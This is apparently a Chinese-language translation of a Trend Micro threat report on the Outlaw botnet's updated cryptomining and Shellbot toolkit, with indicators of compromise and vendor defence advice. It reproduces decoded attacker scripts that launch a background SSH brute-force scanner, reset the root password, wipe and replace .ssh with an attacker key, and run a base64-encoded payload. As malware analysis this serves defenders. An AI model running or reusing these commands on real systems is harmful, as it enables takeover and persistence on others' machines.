對於時時刻刻處心積慮謀求最大獲利的網路犯罪集團來說,沉寂不代表沒有動作。Outlaw 駭客集團就是一個例子,近幾個月來,他們似乎沉寂了好一陣子,但其實是忙著開發新的工具套件來開拓更多不法獲利來源。自從趨勢科技在去年 6 月披露之後,該集團沉默了好一段時間,但到了 12 月便又開始看到他們的活動,並推出了新版的工具套件,不過仍保留了許多先前的攻擊技巧。此次版本更新除了增加一些掃描參數並擴大了掃描目標之外,更會讓惡意程式不斷循環重複執行,並且加強了掃描活動躲避偵測的能力,還會將其他競爭對手的挖礦程式以及自己舊版的挖礦程式全部清除,來提升自身的利潤。
經過詳細分析之後,趨勢科技發現歹徒應該是鎖定汽車與金融產業,他們會在已遭入侵的系統上發動更多後續攻擊,並且 (可能會) 竊取資訊拿去販賣。比較這次的版本與過去的攻擊,我們認為 Outlaw 此次更新的目的包括:攻擊尚未更新系統的企業、掌握其先前感染的主機當前最新的資安狀況與系統變動、尋找新/舊攻擊目標,以及趁機在網路上測試新版功能。根據趨勢科技蒐集來自 456 個不同 IP 位址的樣本所觀察到的變化來看,預料該集團在未來幾個月內將更加活躍。
行為分析
新的樣本專門攻擊 Linux/Unix 作業系統、含有漏洞的伺服器以及物聯網(IoT ,Internet of Thing) 裝置,利用現成的漏洞攻擊手法和已知的漏洞。駭客集團這次利用的是 CVE-2016-8655 漏洞和 Dirty COW 漏洞攻擊手法 (針對 CVE-2016-5195 漏洞)。此外也使用以 PHP 撰寫的網站指令來攻擊 SSH 和 Telnet 登入憑證太弱的系統。雖然這波行動並未看到網路釣魚(Phishing)或社交工程(social engineering”)手法,但我們發現有多起相當高調的網路攻擊,包括來自幕後操縱 (C&C) 伺服器的大範圍 IP 位址網路掃描。根據趨勢科技誘捕網路的資料顯示,有某些動作的流量特別頻繁,這也顯示出掃描時段有經過刻意安排。
此外我們覺得歹徒也採取了一些刻意混淆的動作,因為流量當中參雜了很多初階腳本活動,很容易讓人以為是網路上的一些背景雜訊。駭客只要注意一下攻擊目標的營業時間,然後將活動安排在這些時段即可。
根據我們分析到的樣本,攻擊一開始是利用一個虛擬私人伺服器 (Virtual Private Server,簡稱 VPS) 來搜尋網路上含有漏洞的伺服器並加以感染 (之前的技巧是使用惡意網址或感染合法的網站來散布殭屍網路病毒)。一旦感染成功,C&C 伺服器就會下達指令叫被感染的系統發動大規模網路掃描,並散播殭屍網路病毒,將二進位程式套件整份傳送出去,使用與目標主機內採用的命名習慣。這樣鋪天蓋地的掃描,目的應該是希望挖掘出一些平常看不見的系統。它們會使用 base-64 來將掃描程式編碼以躲避流量檢查。像這樣利用殭屍主機來發動網路掃描的行為,之前的攻擊也出現過,但這次更新之後包含了更多掃描參數,並且設定在背景執行。將掃描程式解碼之後會看到以下內容:
#!/bin/bash
cd /tmp
rm -rf .ssh
rm -rf .mountfs
rm -rf .X13-unix
rm -rf .X17-unix
rm -rf .X19-unix
mkdir .X19-unix
cd .X19-unix
mv /var/tmp/dota3.tar.gz dota3.tar.gz
tar xf dota3.tar.gz
sleep 3s && cd /tmp/.X19-unix/.rsync/c
nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&
sleep 8m && nohup /tmp/.X19-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&
sleep 20m && cd ..; /tmp/.X19-unix/.rsync/initall 2>1&
exit 0
我們所蒐集到的套件是採用「tgz」格式,但我們也看過某些樣本偽裝成「png」或「jpg」格式。 儘管先前的版本是藉由剽竊其他挖礦程式的成果來賺錢,但這次的版本是將所有系統已經感染的挖礦程式相關檔案全數清除,包括移除自家的舊版程式以確保所有元件都能更新,以及移除其他犯罪集團的挖礦程式,好讓自己享有更多主機資源。同時,還會建立一個工作目錄「/tmp/.X19-unix」來存放套件並用來解開檔案。一個名為「tsm」的程式會在背景執行,它會將所有錯誤訊息導向「/dev/null」以維持程式碼運作,確保「/tmp/up.txt」中的參數所指定的程式碼會持續不斷執行。接著,腳本會等候 20 分鐘才開始執行其初始化腳本「initall」:
2e2c9d08c7c955f6ce5e27e70b0ec78a888c276d71a72daa0ef9e3e40f019a1a initall
圖 2:執行 initall 初始化腳本。
還有一個變種會在成功入侵系統之後執行一整套指令,這些指令絕大多數都是用來蒐集受害電腦的相關資訊 (CPU 核心數、使用者、排程工作、執行中的處理程序、安裝的作業系統、CPU 型號、記憶體等資訊),使用一個名為「dota3」的惡意程式,將密碼修改成「/tmp/up.txt」當中指定的某個隨機字串。在先前的版本 (2019 年 6 月) 當中,我們發現有個「dota2」惡意程式有自己專屬的資料夾,但卻幾乎不會執行,所以看來目前的是更新後的版本:
cat /proc/cpuinfo | grep name | wc -l
echo "root:TXhf4ICTayIh"|chpasswd|bash
echo "321" > /var/tmp/.var03522123
rm -rf /var/tmp/.var03522123
cat /var/tmp/.var03522123 | head -n 1
cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
ls -lh $(which ls)
which ls
crontab -l
w
uname -m
cat /proc/cpuinfo | grep model | grep name | wc -l
top
uname
uname -a
lscpu | grep Model
echo "root 123" > /tmp/up.txt
rm -rf /var/tmp/dota*
<send Outlaw kit (the archive file) to compromised host via SFTP>
cat /var/tmp/.systemcache436621
echo "1" > /var/tmp/.systemcache436621
cat /var/tmp/.systemcache436621
sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAk.....<shortened>
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3N.....<shortened>
執行該腳本會將先前的攻擊所遺留下來的檔案和腳本清除,並且盡量維持低調以躲避偵測。如果該系統先前曾經感染過虛擬加密貨幣挖礦程式,就試圖停止正在執行的挖礦程式以及所有相關活動。
我們可以在最新樣本的「bashtemp」目錄當中看到還有其他已經組譯好的 ELF 腳本 (「init」和「init2」) 會不斷循環執行來維持此工具套件的運作:
0c458dfe0a2a01ab300c857fdc3373b75fbb8ccfa23d16eff0d6ab888a1a28f6 init
圖 3:執行 ELF 腳本「init」。
93ce211a71867017723cd78969aa4cac9d21c3d8f72c96ee3e1b2712c0eea494 init2
圖 4:執行 ELF 腳本「init2」。
「init」和「init2」兩個腳本都會終止所有其他正在執行的挖礦服務,並將其工作目錄中的檔案權限設定成「777」以確保檔案具備可執行的權限。
此外我們也發現一個名為「init0」的腳本會在系統上執行,此腳本負責清除所有的挖礦程式,不論來源為何。
圖 5:「init0」腳本。
接著會重設 cron 並清除所有來自其他程式的快取檔案,啟動腳本與二進位程式「a」、「init0」和「start」,然後修改 crontab 來讓其套件持續執行。二進位程式「a」是一個腳本啟動程式,用來啟動「run」這加密編碼的 Perl 腳本,並安裝一個 Shellbot 惡意程式來取得受害系統的控制權。Shellbot 會將自己偽裝成一個名為「rsync」的處理程序 (一個許多 Unix 和 Linux 系統都有的程式,負責自動化資料備份和同步作業),這作法是為了躲避偵測。
圖 6:rsync (也就是 Shellbot) 處理程序當前的變數。
圖 7:連線至 C&C 伺服器來傳送當前的控制變數。
Shellbot 腳本會加入 crontab,以便在受害系統重新開機之後執行,此外還會將「/a/upd」、「/b/sync/」和「/c/aptitude/」三個腳本也加入 crontab 中。我們發現有三個程式:「upd」、「sync」和「aptitude」存在套件中,但其功能在最新版的套件中似乎未用到。我們無法判斷這些是不是先前版本遺留下來的程式碼,或者是另有用途。
Shellbot 也可操控殭屍網路,它可從 C&C 接收並執行一道指令來判斷系統是否正在執行某個程式,並回報主機的名稱和系統架構。所有執行結果以及從受害系統蒐集到的系統資訊,都會先儲存在本地端一陣子之後,Outlaw 再經由 C&C 命令來取得這些資料。
此外我們也發現了 Android Package Kits (APK) 和 Android Debug Bridge (ADB) 相關的指令,這些指令可用來啟用 Android 電視機上的虛擬加密貨幣挖礦程式:
圖 8:tv.apk 應用程式的 Android 宣示說明 XML 檔 (AndroidManifest.xml)。
結論
自從我們在 2018 年發現 Outlaw 駭客集團的活動之後,該集團便一直不斷在先前的基礎上持續增加新的腳本、程式碼與指令。這樣的行為顯示該集團希望不斷開拓新的獲利管道以獲得最大報酬。這一點從其命名習慣也可看出些微端倪,程式碼一翻新,版本編號就會跟著改變,並且依循固定的格式,而非依照程式碼的功能來劃分。
此外,從該集團專門攻擊一些老舊漏洞 (但其實企業只要持續監控和定期修補,就能防堵這些漏洞)。這顯示歹徒的目標應該是那些尚未修補系統的企業,以及那些不會針對其對外連網系統進行網路流量與網路活動監控的企業。考量到部署所有必要更新所需耗費的資源 (包括品管測試和營運調整) 以及每一次停機所隱含的龐大成本,企業通常不會一次更新所有系統。因此,每當出現一個需要下載的修補更新,Outlaw 殭屍網路就有更多可攻擊的目標和受害者。新版的套件除了少許版本更新、再配合之前已部署的套件和原本慣用的技巧外,並無太大變化,因此我們部署在東歐地區的誘捕網路,這一波偵測到不少相關的二進位程式。
話雖如此,該集團所掃描的 IP 範圍卻相當廣,且會依照國家來區分,這樣他們就可以在每年的特定時間攻擊特定的區域,如同我們先前的觀察。我們認為該集團似乎有越來越積極的跡象,且不斷從之前的行動當中汲取經驗,希望能以最小的力氣獲得最大的報酬。由於其攻擊能夠客製化,因此該集團或許能在地下市場開拓特殊的利基,配合客戶的特殊需求。此外,他們也熟知歐洲現有的法規,會避免攻擊某些國家以防止自己在這些國家遭到起訴。相較於從遍布全球的殭屍電腦同步接收資料,這樣網路掃描與資料彙整方式或許一方面較容易整理資料,另一方面也可避人耳目。
我們將持續監控該集團的活動及其工具套件的最新發展。Outlaw 的攻擊手法或許了無新意,但仍舊提醒了企業應定期更新自己的系統。至於不得不持續使用老舊系統的企業,或許可啟用資安廠商所提供的虛擬修補技術來因應。建議使用者應該將未用到的連接埠關閉,並且妥善保護系統管理員經常用到的連接埠以及其他對外連網裝置。使用者可採用一套多層式資安解決方案,從閘道至端點全面保護系統,並採用網址過濾、行為分析、客製化沙盒模擬分析等技術來主動攔截惡意網址。
趨勢科技解決方案
此外,使用者也可考慮採用融合了跨世代防禦技巧的資安解決方案來防範 Outlaw 這類殭屍網路相關活動。趨勢科技的XGen安全防護技術 提供了高準度機器學習來保護端點以及閘道 ,涵蓋實體、虛擬以及雲端工作負載。XGen 防護利用網站/網址過濾、行為分析、客製化沙盒模擬分析等技術來防範隨時演變且能躲避傳統資安控管並攻擊已知及未知漏洞的威脅。再者,還可採用一套環環相扣的多層式網路防禦 並全方位掌握所有的網路流量,再配合一套 新一代入侵防禦 (NGIPS),就能協助企業隨時預先掌握可能駭入企業無形資產的威脅。此外,XGen 防護同時也是趨勢科技Hybrid Cloud Security(混合雲防護)以及User Protection 使用者防護的技術基礎。
感謝 Augusto Remillano II 提供額外的分析資訊。
入侵指標 (IoC)
SHA256 雜湊碼 | 說明 | 趨勢科技命名 |
1800de5f0fb7c5ef3c0d9787260ed61bc324d861bc92d9673d4737d1421972aa | 加密虛擬貨幣挖礦程式 | Trojan.SH.MALXMR.UWEJP |
b68bd3a54622792200b931ee5eebf860acf8b24f4b338b5080193573a81c747d | Shellbot | Backdoor.SH.SHELLBOT.AA |
620635aa9685249c87ead1bb0ad25b096714a0073cfd38a615c5eb63c3761976 | 工具 | Trojan.Linux.SSHBRUTE.B |
fc57bd66c27066104cd6f8962cd463a5dfc05fa59b76b6958cddd3542dfe6a9a | 加密虛擬貨幣挖礦程式 | Coinminer.Linux.MALXMR.SMDSL32 |
649280bd4c5168009c1cff30e5e1628bcf300122b49d339e3ea3f3b6ff8f9a79 | 加密虛擬貨幣挖礦程式 | Coinminer.Linux.MALXMR.SMDSL64 |
網址
159[.]203[.]141[.]208
104[.]236[.]192[.]6
45[.]9[.]148[.]129:80 礦池
45[.]9[.]148[.]125:80 礦池
https://www[.]minpop[.]com/sk12pack/idents.php 幕後操縱 (C&C)
https://www[.]minpop[.]com/sk12pack/names.php 幕後操縱 (C&C)
MITRE ATT&CK Matrix™
原文出處:Outlaw Updates Kit to Kill Older Miner Versions, Targets More Systems 作者:Jindrich Karasek (威脅研究員)